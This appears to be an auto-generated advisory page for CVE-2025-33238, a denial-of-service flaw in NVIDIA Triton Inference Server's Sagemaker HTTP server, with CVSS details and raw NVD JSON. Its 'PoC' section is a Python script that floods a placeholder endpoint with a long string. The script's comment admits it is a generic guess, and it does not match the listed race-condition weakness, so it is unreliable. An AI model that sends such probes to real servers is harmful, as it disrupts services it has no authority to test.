Security Vulnerability Report
中文
CVE-2025-33238 CVSS 7.5 HIGH

CVE-2025-33238

Published: 2026-03-24 21:16:24
Last Modified: 2026-03-31 01:31:45

Description

NVIDIA Triton Inference Server Sagemaker HTTP server contains a vulnerability where an attacker may cause an exception. A successful exploit of this vulnerability may lead to denial of service.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:nvidia:triton_inference_server:*:*:*:*:*:*:*:* - VULNERABLE
NVIDIA Triton Inference Server (具体受影响版本请参考官方公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (Replace with actual target) target_url = "http://target-server:port/v2/models" # Example payload that might trigger the exception based on DoS nature # This is a generic PoC template as specific exploit details are not provided. payload = { "malformed_input": "A" * 10000 # Example of potential buffer/bad input } try: print(f"Sending payload to {target_url}...") response = requests.post(target_url, json=payload, timeout=5) print(f"Status Code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"Connection error (possible DoS): {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-33238", "sourceIdentifier": "[email protected]", "published": "2026-03-24T21:16:24.083", "lastModified": "2026-03-31T01:31:44.740", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NVIDIA Triton Inference Server Sagemaker HTTP server contains a vulnerability where an attacker may cause an exception. A successful exploit of this vulnerability may lead to denial of service."}, {"lang": "es", "value": "El servidor HTTP Sagemaker de NVIDIA Triton Inference Server contiene una vulnerabilidad donde un atacante puede causar una excepción. Un exploit exitoso de esta vulnerabilidad puede llevar a una denegación de servicio."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-362"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nvidia:triton_inference_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.01", "matchCriteriaId": "A0D7A8AF-02D2-48AF-8F19-07020D3DA704"}]}]}], "references": [{"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-33238", "source": "[email protected]", "tags": ["Third Party Advisory", "US Government Resource"]}, {"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5790", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-33238", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}